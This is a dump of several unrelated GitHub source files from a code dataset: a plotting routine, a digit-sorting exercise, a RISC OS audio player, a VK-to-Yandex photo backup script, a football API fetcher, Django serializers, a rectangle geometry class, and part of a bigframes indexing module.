axs[1].set_ylim(-1, current['agents_num'])\n axs[1].set_xlabel('Time [h]')\n axs[1].set_ylabel('Agents [#]')\n\n for agent in current['agents']:\n y = [agent['id'], agent['id']]\n axs[1].plot(\n [agent['start'], agent['departure']], y, color='black', alpha=0.5)\n axs[1].plot(\n [agent['departure'], agent['arrival']], y,\n color=self._mode_to_color[self._action_to_mode[agent['mode']]], alpha=0.9)\n\n title = 'Evaluation \\n'\n title += 'early {} - on time {} - late {} - missing {} \\n'.format(\n current['too_early'], current['on_time'], current['too_late'],\n current['missing'])\n title += 'early {}% - on time {}% - late {}% - missing {}% \\n'.format(\n self._perc(current['too_early'], current['agents_num']),\n self._perc(current['on_time'], current['agents_num']),\n self._perc(current['too_late'], current['agents_num']),\n self._perc(current['missing'], current['agents_num']))\n axs[1].set_title(title)\n labels = []\n for action in sorted(self._action_to_mode):\n color = self._mode_to_color[self._action_to_mode[action]]\n label = '{} \\n({}%)'.format(\n self._action_to_mode[action],\n self._perc(current['mode_usage'][action], current['agents_num']))\n labels.append(mpatches.Patch(color=color, label=label))\n axs[1].legend(handles=labels, loc='upper left')\n\n ################################################################\n fig.savefig('{}/policy.{}.svg'.format(self._output_dir, missing_plot),\n dpi=300, transparent=False, bbox_inches='tight')\n # fig.savefig('{}.{}.png'.format(self.prefix, self.agent_name),\n # dpi=300, transparent=False, bbox_inches='tight')\n # plt.show()\n matplotlib.pyplot.close('all')\n # sys.exit()\n ###############################################################\n #################################\n\n####################################################################################################\n\nif __name__ == '__main__':\n _main()\n\n####################################################################################################\n","repo_name":"lcodeca/persuasive-devel","sub_path":"src/utils/CustomMetrics/policy.over.training.py","file_name":"policy.over.training.py","file_ext":"py","file_size_in_byte":15925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71453541202","text":"import sys\nn = int(sys.stdin.readline())\nstrn = str(n)\nd = len(str(n))\n\narr = []\nfor i in strn:\n arr.append(int(i))\nans=''\nfor i in sorted(arr)[::-1]:\n ans+=str(i)\nprint(ans)\n","repo_name":"dowoonlee/TIL","sub_path":"baekjun/sort/1427.py","file_name":"1427.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"200324947","text":"import tempfile\nimport os\nimport swi\nimport time\n\nfrom .reporter import Reporter\n\n# SWI Constants\nXBIT = 0x20000\nDISKSAMPLE_VERSION = 0x52EC0 | XBIT\nDISKSAMPLE_CONFIGURE = 0x52EC1 | XBIT \nDISKSAMPLE_FILEOPEN = 0x52EC2 | XBIT\nDISKSAMPLE_STREAMCLOSE = 0x52EC3 | XBIT\nDISKSAMPLE_STREAMCREATE = 0x52EC4 | XBIT\nDISKSAMPLE_STREAMSOURCE = 0x52EC5 | XBIT\nDISKSAMPLE_STREAMRECEIVER = 0x52EC6 | XBIT\nDISKSAMPLE_DECODING = 0x52EC7 | XBIT\nDISKSAMPLE_STREAMPLAY = 0x52EC8 | XBIT\nDISKSAMPLE_STREAMPAUSE = 0x52EC9 | XBIT\nDISKSAMPLE_STREAMSTOP = 0x52ECA | XBIT\nDISKSAMPLE_STREAMPOSITION = 0x52ECB | XBIT\nDISKSAMPLE_STREAMVOLUME = 0x52ECC | XBIT\nDISKSAMPLE_STREAMISREADY = 0x52ECD | XBIT\nDISKSAMPLE_STREAMSTATUS = 0x52ECE | XBIT\nDISKSAMPLE_STREAMCHAIN = 0x52ECF | XBIT\nDISKSAMPLE_STREAMINFO = 0x52ED0 | XBIT\nDISKSAMPLE_STREAMTEXTS = 0x52ED1 | XBIT\nDISKSAMPLE_STREAMPARAM = 0x52ED2 | XBIT\nDISKSAMPLE_STREAMDECODING = 0x52ED3 | XBIT\nDISKSAMPLE_CHANNELPARAMS = 0x52ED4 | XBIT\nDISKSAMPLE_CHANNELSTATUS = 0x52ED5 | XBIT\nXBIT = 0x20000\n\n# Other DiskSample constants\nERROR_STREAM_UNSUPPORTED = 0x81B000\n\n# TBD\ndef play(disk):\n tempdir = tempfile.TemporaryDirectory(prefix='TestApp_')\n \n # TBD\n\n\n# Close all open files to allow RMKill of dsplay\ndef panic():\n try:\n swi.swi(DISKSAMPLE_CONFIGURE,\"i\",-1)\n except swi.error as e:\n Reporter.print(\"An error occurred\")\n Reporter.print(repr(e))\n print(repr(e)) \n\n# Play a file using DiskSample\n# This works except it doesn't close the file when it's done! \ndef playfile(filename):\n try:\n # Create stream and open file\n stream_handle = swi.swi(DISKSAMPLE_STREAMCREATE,\"ii;i\",0,64)\n Reporter.print(\"stream created\")\n swi.swi(DISKSAMPLE_STREAMRECEIVER,\"iii\",stream_handle,0,0) # internal player\n swi.swi(DISKSAMPLE_STREAMSOURCE,\"iis\",stream_handle,1,filename)\n \n #swi.swi(DISKSAMPLE_STREAMSTATUS,\"iii\",stream_handle,0x8,0x8) # no loop\n # Open stream from file\n #stream_handle = swi.swi(DISKSAMPLE_FILEOPEN,\"s;i\",\"orchhit8\")\n \n Reporter.print(f\"After opening, stream handle is {stream_handle}\")\n \n \n # Wait up to 1 second for stream to be ready (worst case scenario)\n #stream_ready = swi.swi(DISKSAMPLE_STREAMISREADY,\"i;i\",stream_handle)\n status = swi.swi(0x52ECE,\"iii;i\",stream_handle,0,0) # 0x52ECE = stream status\n \n start = time.time() \n while (time.time() - start < 1) and (status & 1):\n #stream_ready = swi.swi(DISKSAMPLE_STREAMISREADY,\"i;i\",stream_handle)\n status = swi.swi(0x52ECE,\"iii;i\",stream_handle,0,0)\n print(f\"stream_ready {status}\") # THIS IS JUST RETURNING STREAM HANDLE??? WHY???? \n if not (status & 1):\n Reporter.print(\"Stream timed out\")\n return # Quit if the stream isn't ready TBD real error handling\n Reporter.print(\"Ready to play\")\n swi.swi(DISKSAMPLE_STREAMSTATUS,\"iii\",stream_handle,0x8,0x8) # no loop \n \n swi.swi(DISKSAMPLE_STREAMPLAY,\"i\",stream_handle) # begin playback\n \n Reporter.print(\"Playback started\")\n \n # Wait for stream to finish\n status = 2\n start = time.time() # timeout for debug\n while (status & 2) and (time.time() - start < 3):\n status = swi.swi(DISKSAMPLE_STREAMSTATUS,\"iii;i\",stream_handle,0,0)\n Reporter.print(f\"status: {status}\")\n \n \n #start = time.time()\n #stream_status = swi.swi(DISKSAMPLE_STREAMSTATUS,\"iii;i\",stream_handle,0,0)\n #Reporter.print(\"first stream status is \"+repr(stream_status))\n #stream_status = 2\n #while (stream_status & 2) != 0:\n # stream_status = swi.swi(DISKSAMPLE_STREAMSTATUS,\"iii;i\",stream_handle,0,0)\n # Reporter.print(\"stream status: \"+repr(stream_status))\n # if time.time() - start > 5:\n # break # DEBUG: time out if this fails to stop\n #Reporter.print(\"Stream finished\")\n \n # Close the stream (and the file)\n if stream_handle != -1:\n swi.swi(DISKSAMPLE_STREAMCLOSE,\"i\",stream_handle)\n \n except swi.error as e:\n Reporter.print(\"An error occurred\")\n Reporter.print(repr(e))\n print(repr(e))\n return # just fail silently other than reporter output for now\n \n \n","repo_name":"laurenrad/RLook","sub_path":"!RLook/rlook/dsplay.py","file_name":"dsplay.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"6909558783","text":"import requests\n\nwith open('token_vk.txt', 'r') as file_object:\n token_vk = file_object.read().strip()\nwith open('token_ya.txt', 'r') as file_object:\n token_ya = file_object.read().strip()\n\nclass VkUser:\n url = 'https://api.vk.com/method/'\n\n def __init__(self, token_vk, version):\n self.token_vk = token_vk\n self.version = version\n self.params = {\n 'access_token': self.token_vk,\n 'v': self.version\n }\n\n def get_photos(self, vk_album, owner_id, count=200):\n photos_url = self.url + 'photos.get'\n photos_params = {'owner_id': owner_id,\n 'album_id': vk_album,\n 'extended': 1,\n 'photo_sizes': 1,\n 'count': count}\n response = requests.get(photos_url, params={**self.params, **photos_params})\n return response.json()['response']['items']\n\nclass YaUploader:\n url = 'https://cloud-api.yandex.net/v1/disk/'\n\n def __init__(self, token_ya: str):\n self.token_ya = token_ya\n\n def get_headers(self):\n return {\n 'Content-Type': 'application/json',\n 'Authorization': 'OAuth {}'.format(self.token_ya)\n }\n\n def folder(self, yandex_path):\n create_url = self.url + 'resources/'\n create_params = {'path': yandex_path}\n requests.put(create_url, headers=self.get_headers(), params=create_params)\n\n def upload_from_url(self, yandex_path: str, photo_url: str):\n upload_url = self.url + 'resources/upload'\n upload_params = {'path': yandex_path, 'url': photo_url}\n requests.post(upload_url, headers=self.get_headers(), params=upload_params)\n\ndef copy_photo_ya(uploader, vk_VkUser, album_name, user_id, count=200):\n print('Загружается...')\n uploader.folder(f'{album_name}/')\n photos = vk_VkUser.get_photos(album_name.lower(), user_id, count)\n count_list = []\n for photo in photos:\n namber_count = photo[\"likes\"][\"count\"]\n if namber_count in count_list:\n photo_path = f'{album_name}/{str(photo[\"likes\"][\"count\"])}_{photo[\"date\"]}.jpg'\n uploader.upload_from_url(photo_path, photo['sizes'][-1]['url'])\n count_list.append(namber_count)\n else:\n photo_path = f'{album_name}/{str(photo[\"likes\"][\"count\"])}.jpg'\n uploader.upload_from_url(photo_path, photo['sizes'][-1]['url'])\n count_list.append(namber_count)\n print('Загрузка завершена')\n\nif __name__ == '__main__':\n album_name = 'Profile'\n user_id = 552934290\n vk_VkUser = VkUser(token_vk, '5.130')\n ya_uploader = YaUploader(token_ya)\n copy_photo_ya(ya_uploader, vk_VkUser, album_name, user_id)","repo_name":"Stanislov85/Diplom","sub_path":"venv/Desktop/diplom.py","file_name":"diplom.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20508558044","text":"import requests\nimport os\n\nurl = \"https://livescore-football.p.rapidapi.com/soccer/leagues-by-country\"\n\nquerystring = {\"country_code\":\"england\"}\n\nheaders = {\n \"x-rapidapi-host\": os.getenv('RAPIDAPI_HOST'),\n \"x-rapidapi-key\": os.getenv('RAPIDAPI_KEY')\n}\n\nresponse = requests.request(\"GET\", url, headers=headers, params=querystring)\nresponse_data_as_list = response.json().get('data')\n\nfor i in response_data_as_list:\n print(i.get('league_code'))\n\n\n\n","repo_name":"andreluiz27/data_analysis_soccer","sub_path":"league_fetch.py","file_name":"league_fetch.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34745791921","text":"from django.db import transaction, IntegrityError\n\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\n\nfrom backend.organizations.models import Membership, Organization\n\n\nclass CreateOrUpdateOrganizationSerializer(serializers.ModelSerializer):\n class Meta:\n model = Organization\n fields = [\"id\", \"logo\", \"name\", \"address\", \"phone_number\", \"type\", \"country\", \"description\"]\n\n @transaction.atomic()\n def create(self, validated_data: dict) -> Organization:\n user = self.context[\"request\"].user\n\n try:\n organization = super().create(validated_data)\n except IntegrityError:\n raise ValidationError({'detail': ['Organization with following name and address already exists.']})\n\n Organization.members.through.objects.create(\n organization_id=organization.id, user=user, user_type=Membership.Types.OWNER\n )\n return organization\n\n\nclass ListOrganizationSerializer(serializers.ModelSerializer):\n type = serializers.CharField(source='get_type_display')\n user_type = serializers.SerializerMethodField()\n\n class Meta:\n model = Organization\n fields = [\"id\", \"logo\", \"type\", \"name\", \"user_type\"]\n\n def get_user_type(self, obj: Organization) -> Membership.Types:\n user = self.context[\"request\"].user\n return obj.members.through.objects.get(organization_id=obj.id, user_id=user.id).get_user_type_display()\n\n\nclass RetrieveOrganizationSerializer(serializers.ModelSerializer):\n class Meta:\n model = Organization\n fields = [\"logo\", \"name\", \"address\", \"phone_number\"]\n \n","repo_name":"sebcio-o/EDU-GradeBook","sub_path":"backend/backend/organizations/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34794760521","text":"\"\"\"ENGINE.GEOMETRY.Rect\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Generator, Optional, Type, Union\n\nimport numpy as np\n\nfrom .vector import vector2\nfrom .direction import Direction\nfrom .point import Point\nfrom .size import Size\nfrom .span import Span\n\n\ndef clamp(number, low, high):\n return max(low * 1.0, min(number * 1.0, high * 1.0))\n\n# def clamp(val, min=0, max=1):\n# if val < min:\n# return min\n# if val > max:\n# return max\n# return val\n\n\n\nclass Rect(tuple):\n \"\"\"Representation of a Rectangle.\"\"\"\n\n def __new__(cls: Type[Rect], origin, size) -> Rect:\n return super().__new__(cls, (origin, size))\n\n @classmethod\n def from_edges(cls, *, top: int, bottom: int, left: int, right: int) -> Rect:\n \"\"\"Constructor method.\n\n Create a new Rect object by defining the values of its four edges.\n \"\"\"\n return Rect(Point(left, top), Size(right - left + 1, bottom - top + 1))\n\n @classmethod\n def from_spans(cls, *, vertical: Span, horizontal: Span) -> Rect:\n \"\"\"Constructor method.\n\n Create a new Rect object by defining its vertical and horizontal\n dimensions as Span objects.\n \"\"\"\n return cls.from_edges(\n top=vertical.start, bottom=vertical.end,\n left=horizontal.start, right=horizontal.end\n )\n\n @classmethod\n def centered_at(cls, size: Size, center: Point) -> Rect:\n \"\"\"Constructor method.\n\n Create a new Rect object by defining its dimensions as a Size object\n and its centerpoint as a Point object.\n \"\"\"\n left = center.x - size.width // 2\n top = center.y - size.height // 2\n return Rect(Point(left, top), size)\n\n @property\n def size(self) -> Size:\n \"\"\"Return this Rect's Size definition.\"\"\"\n return self[1]\n\n @property\n def top_left(self) -> Point:\n \"\"\"Return this Rect's top-left Point definition.\"\"\"\n return self[0]\n\n @property\n def top(self) -> int:\n return self.top_left.y\n\n @property\n def bottom(self) -> int:\n return self.top_left.y + self.size.height - 1\n\n @property\n def left(self) -> int:\n return self.top_left.x\n\n @property\n def right(self) -> int:\n return self.top_left.x + self.size.width - 1\n\n @property\n def width(self) -> int:\n return self.size.width\n\n @property\n def height(self) -> int:\n return self.size.height\n\n @property\n def area(self) -> int:\n \"\"\"Getter for the area property of this Rect's Size definition.\"\"\"\n return self.size.area\n\n @property\n def inner(self) -> np.IndexExpression:\n \"\"\"Get a NumPy IndexExpression for the inner portion of the Rect.\"\"\"\n return np.s_[(self.left+1):self.right, (self.top+1):self.bottom]\n\n @property\n def outer(self) -> np.IndexExpression:\n \"\"\"Get a NumPy IndexExpression for the inner portion + the border\n of the Rect.\n \"\"\"\n return np.s_[self.left:(self.right+1), self.top:(self.bottom+1)]\n\n @property\n def indices(self) -> np.IndexExpression:\n \"\"\"Get a NumPy IndexExpression for this Rect.\"\"\"\n return np.s_[self.top:self.bottom, self.left:self.right]\n\n @property\n def vertical_span(self) -> Span:\n \"\"\"Return a Span for this Rect's vertical axis.\"\"\"\n return Span(self.top, self.bottom)\n\n @property\n def horizontal_span(self) -> Span:\n \"\"\"Return a Span for this Rect's horizontal axis.\"\"\"\n return Span(self.left, self.right)\n\n def distance_to(self, other: Rect) -> float:\n \"\"\"Return an approximate distance from this rect to another.\"\"\"\n x, y = self.center\n other_x, other_y = other.center\n return abs(other_x - x) + abs(other_y - y)\n\n def edge_length(self, edge: Direction) -> int:\n \"\"\"Use a Direction to get the length of the relevant edge.\"\"\"\n if edge is Direction.up or edge is Direction.down:\n return self.width\n if edge is Direction.left or edge is Direction.right:\n return self.height\n raise ValueError(\"Expected an orthogonal Direction.\")\n\n def edge_span(self, edge: Direction) -> Span:\n \"\"\"Use a Direction to get a Span that starts and ends at\n opposite edges and crosses the centerpoint of this Rect.\"\"\"\n if edge is Direction.up or edge is Direction.down:\n return self.horizontal_span\n if edge is Direction.left or edge is Direction.right:\n return self.vertical_span\n raise ValueError(\"Expected an orthogonal Direction.\")\n\n def edge_point(self, edge: Direction, parallel: int, orthogonal: int) -> Point:\n \"\"\"Return a point, relative to a particular edge.\n `parallel` is the absolute coordinate parallel to the given edge. For\n example, if `edge` is `Direction.top`, then `parallel` is the\n x-coordinate.\n `orthogonal` is the RELATIVE offset from the given edge, towards the\n interior of the rectangle. So for `Direction.top`, the y-coordinate is\n `self.top + orthogonal`.\n \"\"\"\n if edge is Direction.up:\n return Point(parallel, self.top + orthogonal)\n elif edge is Direction.down:\n return Point(parallel, self.bottom - orthogonal)\n elif edge is Direction.left:\n return Point(parallel, self.left + parallel)\n elif edge is Direction.right:\n return Point(parallel, self.right - parallel)\n raise ValueError(\"Expected an orthogonal direction.\")\n\n def relative_point(self, relative_width: float, relative_height: float) -> Point:\n \"\"\"Find a point x% across the width and y% across the height. The\n arguments should be floats between 0 and 1.\n For example, `relative_point(0, 0)` returns the top left, and\n `relative_point(0.5, 0.5)` returns the center.\n \"\"\"\n assert 0 <= relative_width <= 1\n assert 0 <= relative_height <= 1\n return Point(\n self.left + int((self.width - 1) * relative_width + 0.5),\n self.top + int((self.height - 1) * relative_height + 0.5),\n )\n\n @property\n def center(self) -> Point:\n \"\"\"Get the center of this Rect as a Point object.\"\"\"\n return self.relative_point(0.5, 0.5)\n\n def replace(self, *,\n top: Optional[int] = None,\n bottom: Optional[int] = None,\n left: Optional[int] = None,\n right: Optional[int] = None\n ) -> Rect:\n \"\"\"Get a new Rect derived from this one, optionally defined in terms\n of edge values. Providing values ot this method pass them as arguments\n to `Rect.from_edges()` constructor.\n\n Leave a parameter unfilled to get the current Rect's value for that\n parameter, or provide an integer to override.\n \"\"\"\n if top is None:\n top = self.top\n if bottom is None:\n bottom = self.bottom\n if left is None:\n left = self.left\n if right is None:\n right = self.right\n return type(self).from_edges(top=top, bottom=bottom, left=left, right=right)\n\n def shift(self, *,\n top: int = 0,\n bottom: int = 0,\n left: int = 0,\n right: int = 0\n ) -> Rect:\n \"\"\"Get a new Rect derived from this one, defined as offsets from the\n current Rect's values. The values provided for this method's parameters\n are passed to `Rect.from_edges()` constructor.\"\"\"\n return type(self).from_edges(\n top=self.top + top,\n bottom=self.bottom + bottom,\n left=self.left + left,\n right=self.right + right,\n )\n\n def shrink(self, amount: int) -> Rect:\n \"\"\"Get a new Rect derived from this one, defined as an integer offset\n applied to all sides.\"\"\"\n new_left = self.left + amount\n new_right = self.right - amount\n if new_left > new_right:\n new_left = new_right = (self.left + self.right) // 2\n\n new_top = self.top + amount\n new_bottom = self.bottom - amount\n if new_top > new_bottom:\n new_top = new_bottom = (self.top + self.bottom) // 2\n\n return type(self).from_edges(\n top=new_top, bottom=new_bottom,\n left=new_left, right=new_right,\n )\n\n def iter_border(self) -> Generator:\n \"\"\"Return Points for every x,y in the border of the Rect as well as\n a Direction object encoding the side of the given edge.\n\n Returns diagonal Directions for the corners of the Rect.\"\"\"\n for x in range(self.left + 1, self.right):\n yield Point(x, self.top), Direction.up\n yield Point(x, self.bottom), Direction.down\n for y in range(self.top + 1, self.bottom):\n yield Point(self.left, y), Direction.left\n yield Point(self.right, y), Direction.right\n\n yield Point(self.left, self.top), Direction.up_left\n yield Point(self.right, self.top), Direction.up_right\n yield Point(self.left, self.bottom), Direction.down_left\n yield Point(self.right, self.bottom), Direction.down_right\n\n def iter_points(self) -> Generator:\n for x in range(self.left, self.right + 1):\n for y in range(self.top, self.bottom + 1):\n yield Point(x, y)\n\n def range_width(self):\n \"\"\"Iterate over every x-coordinate within the width of the Rect.\"\"\"\n return range(self.left, self.right + 1)\n\n def range_height(self):\n \"\"\"Iterate over every y-coordinate within the height of the Rect.\"\"\"\n return range(self.top, self.bottom + 1)\n\n def intersects(self, other: Rect) -> bool:\n \"\"\"Returns True if this Rect overlaps with another at any point.\"\"\"\n return (\n self.top <= other.bottom and\n self.bottom >= other.top and\n self.left <= other.right and\n self.right >= other.left\n )\n\n @property\n def edge_normals(self):\n return [vector2(0, -1), vector2(1, 0), vector2(0, 1), vector2(-1, 0)]\n\n @property\n def vertices(self):\n return [vector2(self.left, self.bottom),\n vector2(self.left, self.top),\n vector2(self.right, self.top),\n vector2(self.right, self.bottom)]\n\n def get_support(self, direction: np.ndarray):\n best_projection = -float('inf')\n for i in range(3):\n v = self.vertices[i]\n projection = direction.dot(v)\n if projection > best_projection:\n best_vertex = v\n best_projection = projection\n return best_vertex\n\n def least_penetration_axis(self, other: Rect):\n best_distance = -float('inf')\n best_index = 0\n for i in range(3):\n n = self.edge_normals[i]\n s = other.get_support(-n)\n v = self.vertices[i]\n d = n.dot(s - v)\n if d > best_distance:\n best_distance = d\n best_index = i\n face_index = best_index\n return face_index, int(best_distance)\n\n def separate_from(self, other: Rect):\n attempts = 300\n A = self\n B = other\n A_x = self.center[0]\n A_y = self.center[1]\n B_x = other.center[0]\n B_y = other.center[1]\n while A.intersects(B) and attempts > 0:\n face, distance = self.least_penetration_axis(other)\n direction = self.edge_normals[face]\n A_x += int(direction[0] * int(distance))\n A_y += int(direction[1] * int(distance))\n B_x -= int(direction[0] * int(distance))\n B_y -= int(direction[1] * int(distance))\n attempts -= 1\n A = self.replace(left=A_x, right=A_x+(self.width//2), top=A_y, bottom=A_y+(self.height//2))\n B = other.replace(left=B_x, right=B_x+(other.width//2), top=B_y, bottom=B_y+(other.height//2))\n return A, B\n\n def clamp(self, x: int, y: int):\n x = clamp(x, min(self.left, self.left + self.width ),\n max(self.right, self.right + self.width ))\n y = clamp(y, min(self.top, self.top + self.height ),\n max(self.bottom, self.bottom + self.height ))\n return int(x), int(y)\n\n def __contains__(self, other: object) -> bool:\n \"\"\"Check if this Rect _properly_ contains a target Rect or Point.\"\"\"\n if isinstance(other, Rect):\n return (\n self.top < other.top and\n self.bottom > other.bottom and\n self.left < other.left and\n self.right > other.right\n )\n elif isinstance(other, Point):\n return (\n self.left <= other.x <= self.right and\n self.top <= other.y <= self.bottom\n )\n else:\n return False\n","repo_name":"krummja/simulacra","sub_path":"simulacra/utils/geometry/rect.py","file_name":"rect.py","file_ext":"py","file_size_in_byte":12946,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"32866816165","text":"from __future__ import annotations\n\nimport typing\nfrom typing import List, Tuple, Union\n\nimport ibis\nimport pandas as pd\n\nimport bigframes.constants as constants\nimport bigframes.core.blocks\nimport bigframes.core.guid as guid\nimport bigframes.core.indexes as indexes\nimport bigframes.core.scalar\nimport bigframes.dataframe\nimport bigframes.operations as ops\nimport bigframes.series\n\nif typing.TYPE_CHECKING:\n LocSingleKey = Union[\n bigframes.series.Series, indexes.Index, slice, bigframes.core.scalar.Scalar\n ]\n\n\nclass LocSeriesIndexer:\n def __init__(self, series: bigframes.series.Series):\n self._series = series\n\n def __getitem__(\n self, key\n ) -> Union[bigframes.core.scalar.Scalar, bigframes.series.Series]:\n return _loc_getitem_series_or_dataframe(self._series, key)\n\n def __setitem__(self, key, value) -> None:\n # TODO(swast): support MultiIndex\n if isinstance(key, slice):\n # TODO(swast): Implement loc with slices.\n raise NotImplementedError(\n f\"loc does not yet support slices. {constants.FEEDBACK_LINK}\"\n )\n elif isinstance(key, list):\n # TODO(tbergeron): Implement loc for index label list.\n raise NotImplementedError(\n f\"loc does not yet support index label lists. {constants.FEEDBACK_LINK}\"\n )\n\n # Assume the key is for the index label.\n block = self._series._block\n value_column = self._series._value_column\n index_column = block.index_columns[0]\n\n # if index == key return value else value_colum\n block, insert_cond = block.apply_unary_op(\n index_column, ops.partial_right(ops.eq_op, key)\n )\n block, result_id = block.apply_binary_op(\n insert_cond,\n self._series._value_column,\n ops.partial_arg1(ops.where_op, value),\n )\n block = block.copy_values(result_id, value_column).drop_columns(\n [insert_cond, result_id]\n )\n\n self._series._set_block(block)\n\n\nclass IlocSeriesIndexer:\n def __init__(self, series: bigframes.series.Series):\n self._series = series\n\n def __getitem__(\n self, key\n ) -> Union[bigframes.core.scalar.Scalar, bigframes.series.Series]:\n \"\"\"\n Index series using integer offsets. Currently supports index by key type:\n\n slice: ex. series.iloc[2:5] returns values at index 2, 3, and 4 as a series\n individual offset: ex. series.iloc[0] returns value at index 0 as a scalar\n list: ex. series.iloc[1, 1, 2, 0] returns a series with the index 1 item repeated\n twice, followed by the index 2 and then and 0 items in that order.\n\n Other key types are not yet supported.\n \"\"\"\n return _iloc_getitem_series_or_dataframe(self._series, key)\n\n\nclass IatSeriesIndexer:\n def __init__(self, series: bigframes.series.Series):\n self._series = series\n\n def __getitem__(self, key: int) -> bigframes.core.scalar.Scalar:\n if not isinstance(key, int):\n raise ValueError(\"Series iAt based indexing can only have integer indexers\")\n return self._series.iloc[key]\n\n\nclass AtSeriesIndexer:\n def __init__(self, series: bigframes.series.Series):\n self._series = series\n\n def __getitem__(\n self, key: LocSingleKey\n ) -> Union[bigframes.core.scalar.Scalar, bigframes.series.Series]:\n return self._series.loc[key]\n\n def __setitem__(\n self,\n key: LocSingleKey,\n value: bigframes.core.scalar.Scalar,\n ):\n if not pd.api.types.is_scalar(value):\n raise NotImplementedError(\n \"series.at.__setitem__ only supports scalar right-hand values. \"\n f\"{constants.FEEDBACK_LINK}\"\n )\n self._series.loc[key] = value\n\n\nclass LocDataFrameIndexer:\n def __init__(self, dataframe: bigframes.dataframe.DataFrame):\n self._dataframe = dataframe\n\n @typing.overload\n def __getitem__(\n self, key: LocSingleKey\n ) -> Union[bigframes.dataframe.DataFrame, pd.Series]:\n ...\n\n # Technically this is wrong since we can have duplicate column labels, but\n # this is expected to be rare.\n @typing.overload\n def __getitem__(\n self, key: Tuple[LocSingleKey, str]\n ) -> Union[bigframes.series.Series, bigframes.core.scalar.Scalar]:\n ...\n\n def __getitem__(self, key):\n # TODO(swast): If the DataFrame has a MultiIndex, we'll need to\n # disambiguate this from a single row selection.\n if isinstance(key, tuple) and len(key) == 2:\n df = typing.cast(\n bigframes.dataframe.DataFrame,\n _loc_getitem_series_or_dataframe(self._dataframe, key[0]),\n )\n\n columns = key[1]\n if isinstance(columns, pd.Series) and columns.dtype == \"bool\":\n columns = df.columns[columns]\n\n return df[columns]\n\n return typing.cast(\n bigframes.dataframe.DataFrame,\n _loc_getitem_series_or_dataframe(self._dataframe, key),\n )\n\n def __setitem__(\n self,\n key: Tuple[slice, str],\n value: bigframes.dataframe.SingleItemValue,\n ):\n if (\n isinstance(key, tuple)\n and len(key) == 2\n and isinstance(key[0], slice)\n and (key[0].start is None or key[0].start == 0)\n and (key[0].step is None or key[0].step == 1)\n and key[0].stop is None\n ):\n # TODO(swast): Support setting multiple columns with key[1] as a list\n # of labels and value as a DataFrame.\n df = self._dataframe.assign(**{key[1]: value})\n self._dataframe._set_block(df._get_block())\n elif (\n isinstance(key, tuple)\n and len(key) == 2\n and isinstance(key[0], bigframes.series.Series)\n and key[0].dtype == \"boolean\"\n ) and pd.api.types.is_scalar(value):\n new_column = key[0].map({True: value, False: None})\n try:\n original_column = self._dataframe[key[1]]\n except KeyError:\n self._dataframe[key[1]] = new_column\n return\n try:\n self._dataframe[key[1]] = new_column.fillna(original_column)\n except ibis.common.exceptions.IbisTypeError:\n raise TypeError(\n f\"Cannot assign scalar of type {type(value)} to column of type {original_column.dtype}, or index type of series argument does not match dataframe.\"\n )\n else:\n raise NotImplementedError(\n \"Only DataFrame.loc[:, 'column'] and DataFrame.loc[bool series, 'column'] = Scalar are supported.\"\n f\"{constants.FEEDBACK_LINK}\"\n )\n\n\nclass ILocDataFrameIndexer:\n def __init__(self, dataframe: bigframes.dataframe.DataFrame):\n self._dataframe = dataframe\n\n def __getitem__(self, key) -> Union[bigframes.dataframe.DataFrame, pd.Series]:\n \"\"\"\n Index dataframe using integer offsets. Currently supports index by key type:\n\n slice: i.e. df.iloc[2:5] returns rows at index 2, 3, and 4 as a dataframe\n individual offset: i.e. df.iloc[0] returns row at index 0 as a pandas Series\n\n Other key types are not yet supported.\n \"\"\"\n return _iloc_getitem_series_or_dataframe(self._dataframe, key)\n\n\nclass IatDataFrameIndexer:\n def __init__(self, dataframe: bigframes.dataframe.DataFrame):\n self._dataframe = dataframe\n\n def __getitem__(self, key: tuple) -> bigframes.core.scalar.Scalar:\n error_message = \"DataFrame.iat should be indexed by a tuple of exactly 2 ints\"\n # we raise TypeError or ValueError under the same conditions that pandas does\n if isinstance(key, int):\n raise TypeError(error_message)\n if not isinstance(key, tuple):\n raise ValueError(error_message)\n key_values_are_ints = [isinstance(key_value, int) for key_value in key]\n if not all(key_values_are_ints):\n raise ValueError(error_message)\n if len(key) != 2:\n raise TypeError(error_message)\n block: bigframes.core.blocks.Block = self._dataframe._block # type: ignore\n column_block = block.select_columns([block.value_columns[key[1]]])\n column = bigframes.series.Series(column_block)\n return column.iloc[key[0]]\n\n\nclass AtDataFrameIndexer:\n def __init__(self, dataframe: bigframes.dataframe.DataFrame):\n self._dataframe = dataframe\n\n def __getitem__(\n self, key: tuple\n ) -> Union[bigframes.core.scalar.Scalar, bigframes.series.Series]:\n if not isinstance(key, tuple):\n raise TypeError(\n \"DataFrame.at should be indexed by a (row label, column name) tuple.\"\n )\n return self._dataframe.loc[key]\n\n\n@typing.overload\ndef _loc_getitem_series_or_dataframe(\n series_or_dataframe: bigframes.series.Series, key\n) -> Union[bigframes.core.scalar.Scalar, bigframes.series.Series]:\n ...\n\n\n@typing.overload\ndef _loc_getitem_series_or_dataframe(\n series_or_dataframe: bigframes.dataframe.DataFrame, key\n) -> Union[bigframes.dataframe.DataFrame, pd.Series]:\n ...\n\n\ndef _loc_getitem_series_or_dataframe(\n series_or_dataframe: Union[bigframes.dataframe.DataFrame, bigframes.series.Series],\n key: LocSingleKey,\n) -> Union[\n bigframes.dataframe.DataFrame,\n bigframes.series.Series,\n pd.Series,\n bigframes.core.scalar.Scalar,\n]:\n if isinstance(key, bigframes.series.Series) and key.dtype == \"boolean\":\n return series_or_dataframe[key]\n elif isinstance(key, 